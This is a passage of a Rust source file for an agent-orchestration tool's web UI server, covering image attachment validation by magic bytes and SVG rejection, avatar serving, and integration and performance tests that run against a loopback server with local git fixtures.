10014 return Ok(builtin_avatar(persona::DEFAULT_ID));
10015 }
10016 let Some(icon) = icon
10017 .as_deref()
10018 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10019 else {
10020 return Ok(builtin_avatar(&wanted));
10021 };
10022 let Some(found) = found else {
10023 return Ok(raster_or_builtin(
10024 Some(icon),
10025 persona_icon::builtin_svg(&wanted),
10026 ));
10027 };
10028 match persona_icon::load(icon) {
10029 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10030 let mut res = attachment_response(mime, bytes);
10031 res.headers_mut().insert(
10032 header::CACHE_CONTROL,
10033 header::HeaderValue::from_static("no-cache"),
10034 );
10035 Ok(res)
10036 }
10037 Ok((mime, _)) => {
10038 tracing::warn!(
10039 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10040 found.id
10041 );
10042 Ok(builtin_avatar(&found.id))
10043 }
10044 Err(e) => {
10045 tracing::warn!(
10046 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10047 found.id
10048 );
10049 Ok(builtin_avatar(&found.id))
10050 }
10051 }
10052 })
10053 .await
10054}
10055
10056fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10067 if data.len() > ATTACHMENT_MAX_BYTES {
10068 return Err(ApiError::bad_request(format!(
10069 "attachment is {} bytes, over the {} MiB limit",
10070 data.len(),
10071 ATTACHMENT_MAX_BYTES / (1024 * 1024)
10072 ))
10073 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10074 }
10075 if data.is_empty() {
10076 return Err(ApiError::bad_request("attachment is empty"));
10077 }
10078 let declared = declared_mime(headers)?;
10079 match sniffed_mime(data) {
10080 Some(sniffed) if sniffed == declared => Ok(declared),
10081 Some(sniffed) => Err(ApiError::bad_request(format!(
10082 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10083 ))),
10084 None => Err(ApiError::bad_request(
10085 "the file's bytes do not match any accepted image format",
10086 )),
10087 }
10088}
10089
10090fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10094 let raw = headers
10095 .get(header::CONTENT_TYPE)
10096 .and_then(|v| v.to_str().ok())
10097 .unwrap_or("")
10098 .split(';')
10099 .next()
10100 .unwrap_or("")
10101 .trim()
10102 .to_ascii_lowercase();
10103 ATTACHMENT_MIME_WHITELIST
10104 .iter()
10105 .find(|&&m| m == raw)
10106 .copied()
10107 .ok_or_else(|| {
10108 if raw == "image/svg+xml" {
10109 ApiError::bad_request(
10110 "SVG is not accepted: it can carry active content (e.g. a <script>), \
10111 not just a picture",
10112 )
10113 } else if raw.is_empty() {
10114 ApiError::bad_request("Content-Type is required for an attachment upload")
10115 } else {
10116 ApiError::bad_request(format!(
10117 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10118 image/gif or image/webp"
10119 ))
10120 }
10121 })
10122}
10123
10124fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10127 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10128 Some("image/png")
10129 } else if data.starts_with(b"\xff\xd8\xff") {
10130 Some("image/jpeg")
10131 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10132 Some("image/gif")
10133 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10134 Some("image/webp")
10135 } else {
10136 None
10137 }
10138}
10139
10140fn filename_header(headers: &HeaderMap) -> String {
10146 headers
10147 .get(FILENAME_HEADER)
10148 .and_then(|v| v.to_str().ok())
10149 .map(str::trim)
10150 .filter(|s| !s.is_empty())
10151 .unwrap_or("attachment")
10152 .to_owned()
10153}
10154
10155fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10162 let content_type = ATTACHMENT_MIME_WHITELIST
10163 .iter()
10164 .find(|&&m| m == mime)
10165 .copied()
10166 .unwrap_or("application/octet-stream");
10167 (
10168 [
10169 (header::CONTENT_TYPE, content_type),
10170 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10171 ],
10172 body,
10173 )
10174 .into_response()
10175}
10176
10177async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10185 let repo = repo.to_path_buf();
10186 blocking(move || {
10187 let (cfg, _) = Config::discover(&repo, None)?;
10188 Ok(cfg)
10189 })
10190 .await
10191}
10192
10193fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10199 let mut hits = ids
10200 .into_iter()
10201 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10202 match (hits.next(), hits.next()) {
10203 (Some(one), None) => Ok(one),
10204 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10205 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10206 "`{prefix}` matches more than one {what}, including {a} and {b}"
10207 ))),
10208 }
10209}
10210
10211#[cfg(test)]
10212mod tests {
10213
10214 #[test]
10215 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10216 let dir = tempfile::tempdir().unwrap();
10217 let store = ask::Questions::at(dir.path().join("questions"));
10218 let mut q = Question::new(
10219 "task".to_owned(),
10220 "conduct".to_owned(),
10221 "conduct".to_owned(),
10222 "choose".to_owned(),
10223 String::new(),
10224 vec!["keep".to_owned()],
10225 );
10226 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10227 q.say("why?").unwrap();
10228 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10229 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10230 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10231 store.put(&mut q).unwrap();
10232 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10233 assert_eq!(store.count_needs_owner(), 1);
10234 store.beat(&q.id, ask::WaiterKind::Deputy);
10235 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10236 assert_eq!(store.count_needs_owner(), 0);
10237 let mut stale = store.read_lease(&q.id).unwrap();
10238 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10239 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10240 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10241 assert!(view.deputy_exhausted);
10242 assert!(view.waiting_on_agent);
10243 assert_eq!(view.question.choices, ["keep"]);
10244 store.drop_lease(&q.id);
10245 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10246 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10247 }
10248
10249 #[test]
10250 fn holder_reads_the_lease_not_the_record() {
10251 let mut q = Question::new(
10252 "run".to_owned(),
10253 "implement".to_owned(),
10254 "impl-A".to_owned(),
10255 "which?".to_owned(),
10256 String::new(),
10257 Vec::new(),
10258 );
10259 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10260 q.cwd = Some("/tmp".to_owned());
10261 assert_eq!(holder_of(&q, None), Some("nobody"));
10262 let beat = |kind, ago: i64| ask::Lease {
10263 kind,
10264 pid: 1,
10265 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10266 .unwrap(),
10267 };
10268 let fresh = beat(ask::WaiterKind::Asker, 1);
10269 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10270 let daemon = beat(ask::WaiterKind::Daemon, 1);
10271 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10272 let stale = beat(ask::WaiterKind::Asker, 3600);
10273 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10274
10275 let mut c = Question::new(
10278 "task".to_owned(),
10279 crate::conduct::NODE.to_owned(),
10280 "conduct".to_owned(),
10281 "which?".to_owned(),
10282 String::new(),
10283 Vec::new(),
10284 );
10285 assert_eq!(holder_of(&c, None), Some("nobody"));
10286 c.cwd = Some("/tmp".to_owned());
10287 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10288 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10289 let deputy = beat(ask::WaiterKind::Deputy, 1);
10290 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10291 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10292
10293 let mut r = Question::new(
10295 String::new(),
10296 crate::bump::NOTICE_NODE.to_owned(),
10297 "release-watch".to_owned(),
10298 "stuck?".to_owned(),
10299 String::new(),
10300 vec!["hold".to_owned()],
10301 );
10302 assert_eq!(holder_of(&r, None), Some("nobody"));
10303 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10304 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10305 r.deputy = None;
10307 r.seat = "bump".to_owned();
10308 assert_eq!(holder_of(&r, None), None);
10309
10310 let mut m = Question::new(
10313 "run".to_owned(),
10314 crate::land::APPROVAL_NODE.to_owned(),
10315 "land".to_owned(),
10316 "merge?".to_owned(),
10317 String::new(),
10318 Vec::new(),
10319 );
10320 assert_eq!(holder_of(&m, None), Some("nobody"));
10321 assert_eq!(
10322 holder_of(&m, Some(&fresh)),
10323 Some("asker"),
10324 "a live explicit wait is a listener even before a deputy is attached"
10325 );
10326 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10327 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10328 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10329 assert_eq!(holder_of(&m, None), Some("nobody"));
10330 }
10331
10332 fn stub_config() -> Config {
10333 Config {
10336 agents: vec![crate::config::AgentSpec {
10337 id: "stub".to_owned(),
10338 kind: AgentKind::Command,
10339 model: None,
10340 command: vec!["true".to_owned()],
10341 extra_args: Vec::new(),
10342 env: Default::default(),
10343 prompt_delivery: None,
10344 max_turn_secs: None,
10345 }],
10346 ..Config::default()
10347 }
10348 }
10349
10350 fn plain_question(seat: &str) -> Question {
10351 Question::new(
10352 String::new(),
10353 "n".to_owned(),
10354 seat.to_owned(),
10355 "s".to_owned(),
10356 String::new(),
10357 Vec::new(),
10358 )
10359 }
10360
10361 #[test]
10362 fn deputies_enabled_follows_the_config() {
10363 let on = stub_config();
10364 assert!(crate::deputy::can_start(Some(&on), ""));
10365 assert!(crate::deputy::can_start(Some(&on), "stub"));
10366 let mut off = on.clone();
10367 off.daemon.max_deputies = 0;
10368 assert!(!crate::deputy::can_start(Some(&off), ""));
10369 let mut empty = on;
10370 empty.agents.clear();
10371 assert!(!crate::deputy::can_start(Some(&empty), ""));
10372 assert!(!crate::deputy::can_start(None, ""));
10373 }
10374
10375 #[test]
10376 fn question_views_load_the_config_once() {
10377 let dir = TempDir::new().unwrap();
10378 let store = ask::Questions::at(dir.path().to_path_buf());
10379 let mut with_deputy = plain_question("b");
10380 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10381 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10382
10383 let calls = std::cell::Cell::new(0usize);
10384 let views = question_views(qs.clone(), &store, || {
10385 calls.set(calls.get() + 1);
10386 Some(stub_config())
10387 });
10388 assert_eq!(calls.get(), 1);
10389 assert_eq!(views.len(), 3);
10390 for (v, q) in views.iter().zip(&qs) {
10391 assert_eq!(
10392 v.deputies_enabled,
10393 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10394 );
10395 }
10396
10397 let views = question_views(qs, &store, || None);
10398 assert!(views.iter().all(|v| !v.deputies_enabled));
10399
10400 let calls = std::cell::Cell::new(0usize);
10401 let views = question_views(Vec::new(), &store, || {
10402 calls.set(calls.get() + 1);
10403 None
10404 });
10405 assert!(views.is_empty());
10406 assert_eq!(calls.get(), 0);
10407 }
10408
10409 use pretty_assertions::assert_eq;
10410 use serde_json::Value;
10411 use tempfile::TempDir;
10412 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10413
10414 use super::*;
10415 use crate::config::Config;
10416 use crate::queue::Source;
10417
10418 const SETTLE_STEPS: usize = 3_000;
10429
10430 struct Fixture {
10436 home: TempDir,
10437 addr: SocketAddr,
10438 }
10439
10440 impl Fixture {
10441 async fn start() -> Self {
10442 Self::with_loop(launch_idle).await
10443 }
10444
10445 async fn with_loop(launch: Launch) -> Self {
10447 let home = TempDir::new().expect("temp home");
10448 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10449 Self { home, addr }
10450 }
10451
10452 async fn with_repo(repo: PathBuf) -> Self {
10456 let home = TempDir::new().expect("temp home");
10457 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10458 Self { home, addr }
10459 }
10460
10461 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10464 let home = TempDir::new().expect("temp home");
10465 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10466 Self { home, addr }
10467 }
10468
10469 async fn serve(
10470 home: &FsPath,
10471 repo: PathBuf,
10472 launch: Launch,
10473 machine: Option<PathBuf>,
10474 ) -> SocketAddr {
10475 let queue = Queue::at(home.join("queue"));
10476 let runs = home.join("runs");
10477 std::fs::create_dir_all(&runs).expect("runs dir");
10478 let worktrees = home.join("wt").join("magi");
10479 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10480 let ui = Ui::new(
10481 queue,
10482 Questions::at(home.join("questions")),
10483 Talks::at(home.join("talks")),
10484 runs,
10485 home.to_path_buf(),
10486 repo,
10487 )
10488 .with_worktrees_root(worktrees)
10489 .with_machine_config(machine)
10490 .with_launch(launch);
10491 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10492 .await
10493 .expect("bind loopback");
10494 let addr = listener.local_addr().expect("local addr");
10495 tokio::spawn(async move {
10496 let router = ui
10497 .router()
10498 .layer(axum::middleware::from_fn(request_cost::observe));
10499 let _ = axum::serve(listener, router).await;
10500 });
10501 addr
10502 }
10503
10504 fn queue(&self) -> Queue {
10505 Queue::at(self.home.path().join("queue"))
10506 }
10507
10508 fn questions(&self) -> Questions {
10509 Questions::at(self.home.path().join("questions"))
10510 }
10511
10512 fn talks(&self) -> Talks {
10513 Talks::at(self.home.path().join("talks"))
10514 }
10515
10516 fn runs(&self) -> PathBuf {
10517 self.home.path().join("runs")
10518 }
10519
10520 async fn get(&self, path: &str) -> Res {
10521 request(self.addr, "GET", path, None).await
10522 }
10523
10524 async fn head(&self, path: &str) -> Res {
10529 request(self.addr, "HEAD", path, None).await
10530 }
10531
10532 async fn post(&self, path: &str, body: Option<&str>) -> Res {
10533 request(self.addr, "POST", path, body).await
10534 }
10535
10536 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10537 request_with(self.addr, "GET", path, None, extra).await
10538 }
10539
10540 async fn delete(&self, path: &str) -> Res {
10541 request(self.addr, "DELETE", path, None).await
10542 }
10543
10544 async fn put(&self, path: &str, body: &str) -> Res {
10545 request(self.addr, "PUT", path, Some(body)).await
10546 }
10547
10548 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
10550 request_bytes(self.addr, path, headers, body).await
10551 }
10552 }
10553
10554 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
10557 let tmp = TempDir::new().unwrap();
10558 let mut repos = Vec::new();
10559 for name in ["one", "two"] {
10560 let repo = tmp.path().join(name);
10561 let origin = tmp.path().join(format!("{name}.git"));
10562 std::fs::create_dir_all(&repo).unwrap();
10563 crate::git::git(&repo, &["init", "-b", "main"])
10564 .await
10565 .unwrap();
10566 std::fs::write(
10567 repo.join("magi.toml"),
10568 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
10569 )
10570 .unwrap();
10571 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
10572 crate::git::git(
10573 &repo,
10574 &[
10575 "-c",
10576 "user.name=fixture",
10577 "-c",
10578 "user.email=fixture@example.invalid",
10579 "commit",
10580 "-m",
10581 "fixture",
10582 ],
10583 )
10584 .await
10585 .unwrap();
10586 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
10587 .await
10588 .unwrap();
10589 crate::git::git(
10590 &repo,
10591 &["remote", "add", "origin", origin.to_str().unwrap()],
10592 )
10593 .await
10594 .unwrap();
10595 crate::git::git(&repo, &["push", "origin", "main"])
10596 .await
10597 .unwrap();
10598 crate::git::git(
10599 &repo,
10600 &[
10601 "symbolic-ref",
10602 "refs/remotes/origin/HEAD",
10603 "refs/remotes/origin/main",
10604 ],
10605 )
10606 .await
10607 .unwrap();
10608 let (cfg, _) = Config::discover(&repo, None).unwrap();
10609 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
10610 repos.push(repo);
10611 }
10612 let repos: [PathBuf; 2] = repos.try_into().unwrap();
10613 (tmp, repos)
10614 }
10615
10616 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
10617 let (tmp, repos) = performance_repositories().await;
10618 let machine = tmp.path().join("machine.toml");
10619 std::fs::write(&machine, "").unwrap();
10620 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
10621 (tmp, repos, fx)
10622 }
10623
10624 fn seed_performance(
10625 fx: &Fixture,
10626 repos: &[PathBuf; 2],
10627 questions: usize,
10628 runs: usize,
10629 items: usize,
10630 ) {
10631 for i in fx.questions().list().len()..questions {
10633 let mut question = Question::new(
10634 "20261001-000000-0000".into(),
10635 "implement".into(),
10636 "impl-A".into(),
10637 format!("question {i}"),
10638 "context".into(),
10639 vec!["yes".into(), "no".into()],
10640 );
10641 question.id = format!("20261003-000000-{i:04x}");
10642 fx.questions().put(&mut question).unwrap();
10643 }
10644 for i in run_ids(&fx.runs()).len()..runs {
10645 write_run_repo(
10646 &fx.runs(),
10647 &format!("20261001-000000-{i:04x}"),
10648 RunStatus::Ready,
10649 repos[i % 2].to_str().unwrap(),
10650 );
10651 }
10652 for i in fx.talks().list().len()..items {
10653 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
10654 let mut talk = fx.talks().get(&id).unwrap();
10655 talk.repo = repos[i % 2].clone();
10656 fx.talks().put(&mut talk).unwrap();
10657 let mut task = crate::queue::Task::new(
10658 format!("task {i}"),
10659 "instruction".into(),
10660 repos[i % 2].clone(),
10661 crate::queue::Source::Agent {
10662 run: id,
10663 node: crate::queue::CHAT_NODE.into(),
10664 },
10665 );
10666 task.id = format!("20261004-000000-{i:04x}");
10667 fx.queue().put(&mut task).unwrap();
10668 if i < crate::notices::CAP {
10670 Notices::at(fx.home.path().join("notifications"))
10671 .raise(Notice::info(&format!("notice-{i}"), "notification"))
10672 .unwrap();
10673 }
10674 }
10675 assert_eq!(fx.questions().list().len(), questions);
10676 assert_eq!(run_ids(&fx.runs()).len(), runs);
10677 assert_eq!(fx.talks().list().len(), items);
10678 assert_eq!(fx.queue().list().len(), items);
10679 assert_eq!(
10680 Notices::at(fx.home.path().join("notifications"))
10681 .list()
10682 .len(),
10683 items.min(crate::notices::CAP)
10684 );
10685 }
10686
10687 fn request_counts(res: &Res) -> (usize, usize) {
10688 assert_eq!(res.status, 200, "{}", res.body);
10689 (
10690 res.header("x-test-discoveries").unwrap().parse().unwrap(),
10691 res.header("x-test-git").unwrap().parse().unwrap(),
10692 )
10693 }
10694
10695 #[tokio::test]
10696 async fn list_request_cost_is_independent_of_record_count() {
10697 let (_tmp, repos, fx) = performance_fixture().await;
10698 let mut previous = None;
10699 for n in [4, 60] {
10700 seed_performance(&fx, &repos, n, n, n);
10701 let mut costs = Vec::new();
10702 for (path, discoveries) in [
10703 ("/api/questions", 1),
10704 ("/api/talks", 2),
10705 ("/api/health", 1),
10706 ("/api/stats", 1),
10707 ] {
10708 for repo in &repos {
10711 let cache = repo.join(".git/magi/config");
10712 if cache.exists() {
10713 std::fs::remove_dir_all(cache).unwrap();
10714 }
10715 }
10716 let cost = request_counts(&fx.get(path).await);
10717 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
10718 assert_eq!(cost.0, discoveries, "{path}, N={n}");
10719 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
10720 costs.push(cost);
10721 }
10722 if let Some(previous) = previous {
10723 assert_eq!(costs, previous);
10724 }
10725 previous = Some(costs);
10726 }
10727 }
10731
10732 #[tokio::test]
10735 async fn list_handler_cost_without_transport() {
10736 let (_tmp, repos) = performance_repositories().await;
10737 let fx = Fixture {
10738 home: TempDir::new().unwrap(),
10739 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10740 };
10741 let ui = Arc::new(
10742 Ui::new(
10743 fx.queue(),
10744 fx.questions(),
10745 fx.talks(),
10746 fx.runs(),
10747 fx.home.path().to_path_buf(),
10748 repos[0].clone(),
10749 )
10750 .with_worktrees_root(fx.home.path().join("wt")),
10751 );
10752 let mut previous = None;
10753 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
10754 seed_performance(&fx, &repos, n, runs, items);
10755 let mut costs = Vec::new();
10756 for endpoint in ["questions", "talks", "health", "stats"] {
10757 for repo in &repos {
10758 let cache = repo.join(".git/magi/config");
10759 if cache.exists() {
10760 std::fs::remove_dir_all(cache).unwrap();
10761 }
10762 }
10763 let (_, cost) = request_cost::measure(async {
10764 match endpoint {
10765 "questions" => {
10766 let _ = questions_list(State(ui.clone())).await.unwrap();
10767 }
10768 "talks" => {
10769 let _ = talks_list(
10770 State(ui.clone()),
10771 Query(ListQuery {
10772 limit: None,
10773 ids: None,
10774 }),
10775 )
10776 .await
10777 .unwrap();
10778 }
10779 "health" => {
10780 let _ = health(State(ui.clone())).await.unwrap();
10781 }
10782 _ => {
10783 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
10784 .await
10785 .unwrap();
10786 }
10787 }
10788 })
10789 .await;
10790 eprintln!("{endpoint} handler N={n}: {cost:?}");
10791 assert_eq!(
10792 cost.0,
10793 if endpoint == "talks" { 2 } else { 1 },
10794 "{endpoint}"
10795 );
10796 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
10797 costs.push(cost);
10798 }
10799 if let Some(previous) = previous {
10800 assert_eq!(costs, previous);
10801 }
10802 previous = Some(costs);
10803 }
10804 }
10805
10806 #[tokio::test]
10807 async fn list_request_cost_scopes_do_not_mix() {
10808 let (_tmp, repos, fx) = performance_fixture().await;
10809 seed_performance(&fx, &repos, 10, 0, 10);
10810 let (questions, talks, notices) = tokio::join!(
10811 fx.get("/api/questions"),
10812 fx.get("/api/talks"),
10813 fx.get("/api/notifications")
10814 );
10815 assert_eq!(request_counts(&questions).0, 1);
10816 assert_eq!(request_counts(&talks).0, 2);
10817 assert_eq!(request_counts(¬ices), (0, 0));
10818 }
10819
10820 #[tokio::test]
10821 async fn list_endpoints_large_home_ceiling() {
10822 let (_tmp, repos, fx) = performance_fixture().await;
10823 seed_performance(&fx, &repos, 200, 300, 400);
10824 let mut failures = Vec::new();
10825 for path in [
10828 "/",
10829 "/app.js",
10830 "/app.css",
10831 "/api/questions",
10832 "/api/runs?limit=300",
10833 "/api/queue",
10834 "/api/talks",
10835 "/api/notifications",
10836 "/api/health",
10837 "/api/stats",
10838 "/api/loop",
10839 "/api/settings",
10840 "/api/repos",
10841 ] {
10842 let start = std::time::Instant::now();
10843 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
10844 let elapsed = start.elapsed();
10845 eprintln!("{path}: {elapsed:?}");
10846 match result {
10847 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
10848 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
10849 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
10850 }
10851 }
10852 assert!(failures.is_empty(), "{}", failures.join("\n"));
10853 }
10854
10855 struct Res {
10856 status: u16,
10857 headers: String,
10858 head: String,
10863 body: String,
10864 bytes: Vec<u8>,
10868 }
10869
10870 impl Res {
10871 fn json(&self) -> Value {
10872 serde_json::from_str(&self.body)
10873 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
10874 }
10875
10876 fn header(&self, name: &str) -> Option<&str> {
10878 self.head.lines().find_map(|line| {
10879 let (key, value) = line.split_once(':')?;
10880 key.trim()
10881 .eq_ignore_ascii_case(name)
10882 .then(|| value.trim_start().trim_end_matches('\r'))
10883 })
10884 }
10885 }
10886
10887 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
10890 request_with(addr, method, path, body, &[]).await
10891 }
10892
10893 async fn request_with(
10897 addr: SocketAddr,
10898 method: &str,
10899 path: &str,
10900 body: Option<&str>,
10901 extra: &[(&str, &str)],
10902 ) -> Res {
10903 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10904 for (name, value) in extra {
10905 head.push_str(&format!("{name}: {value}\r\n"));
10906 }
10907 if let Some(body) = body {
10908 head.push_str("Content-Type: application/json\r\n");
10909 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
10910 }
10911 head.push_str("\r\n");
10912 if let Some(body) = body {
10913 head.push_str(body);
10914 }
10915 let mut socket = tokio::net::TcpStream::connect(addr)
10916 .await
10917 .expect("connect to the test server");
10918 socket
10919 .write_all(head.as_bytes())
10920 .await
10921 .expect("write request");
10922 let mut raw = Vec::new();
10923 socket.read_to_end(&mut raw).await.expect("read response");
10924 let split = raw
10927 .windows(4)
10928 .position(|w| w == b"\r\n\r\n")
10929 .expect("a header block");
10930 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10931 let bytes = raw[split + 4..].to_vec();
10932 let status = head
10933 .lines()
10934 .next()
10935 .and_then(|line| line.split_whitespace().nth(1))
10936 .and_then(|code| code.parse().ok())
10937 .expect("a status line");
10938 Res {
10939 status,
10940 headers: head.to_lowercase(),
10941 head,
10942 body: String::from_utf8_lossy(&bytes).into_owned(),
10943 bytes,
10944 }
10945 }
10946
10947 async fn request_bytes(
10953 addr: SocketAddr,
10954 path: &str,
10955 headers: &[(&str, &str)],
10956 body: &[u8],
10957 ) -> Res {
10958 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10959 for (name, value) in headers {
10960 head.push_str(&format!("{name}: {value}\r\n"));
10961 }
10962 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
10963 let mut socket = tokio::net::TcpStream::connect(addr)
10964 .await
10965 .expect("connect to the test server");
10966 socket
10967 .write_all(head.as_bytes())
10968 .await
10969 .expect("write request head");
10970 socket.write_all(body).await.expect("write request body");
10971 let mut raw = Vec::new();
10972 socket.read_to_end(&mut raw).await.expect("read response");
10973 let split = raw
10974 .windows(4)
10975 .position(|w| w == b"\r\n\r\n")
10976 .expect("a header block");
10977 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10978 let bytes = raw[split + 4..].to_vec();
10979 let status = head
10980 .lines()
10981 .next()
10982 .and_then(|line| line.split_whitespace().nth(1))
10983 .and_then(|code| code.parse().ok())
10984 .expect("a status line");
10985 Res {
10986 status,
10987 headers: head.to_lowercase(),
10988 head,
10989 body: String::from_utf8_lossy(&bytes).into_owned(),
10990 bytes,
10991 }
10992 }
10993
10994 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
10996 let mut state = RunState::new(
10997 PathBuf::from("/repo/magi"),
10998 "main".to_owned(),
10999 "0123456789abcdef".to_owned(),
11000 "Add a web UI\n\nMobile first.".to_owned(),
11001 Config::default(),
11002 );
11003 state.id = id.to_owned();
11004 state.status = status;
11005 let dir = runs.join(id);
11006 std::fs::create_dir_all(&dir).expect("run dir");
11007 std::fs::write(
11008 dir.join("run.json"),
11009 serde_json::to_string_pretty(&state).expect("serialize run"),
11010 )
11011 .expect("write run.json");
11012 }
11013
11014 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11018 let mut state = RunState::new(
11019 PathBuf::from(repo),
11020 "main".to_owned(),
11021 "0123456789abcdef".to_owned(),
11022 "task".to_owned(),
11023 Config::default(),
11024 );
11025 state.id = id.to_owned();
11026 state.status = status;
11027 let dir = runs.join(id);
11028 std::fs::create_dir_all(&dir).expect("run dir");
11029 std::fs::write(
11030 dir.join("run.json"),
11031 serde_json::to_string_pretty(&state).expect("serialize run"),
11032 )
11033 .expect("write run.json");
11034 }
11035
11036 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11037 let body = serde_json::json!({
11038 "schema": 1,
11039 "pid": 4242,
11040 "started_at": Timestamp::now().to_string(),
11041 "updated_at": updated_at.to_string(),
11042 "idle": false,
11043 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11044 "completed": 7,
11045 "polls": 143,
11046 });
11047 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11048 }
11049
11050 fn launch_idle(
11060 _opts: daemon::Opts,
11061 stop: daemon::Stop,
11062 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11063 Box::pin(async move {
11064 while !stop.stopped() {
11065 tokio::time::sleep(Duration::from_millis(2)).await;
11066 }
11067 Ok(())
11068 })
11069 }
11070
11071 fn launch_broken(
11074 _opts: daemon::Opts,
11075 _stop: daemon::Stop,
11076 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11077 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
11082 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11083 Box::pin(async move {
11084 Err(anyhow::anyhow!(if first {
11085 "publish the daemon status file: read-only file system"
11086 } else {
11087 "the restarted stand-in failed as well"
11088 }))
11089 })
11090 }
11091
11092 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11101 for _ in 0..SETTLE_STEPS {
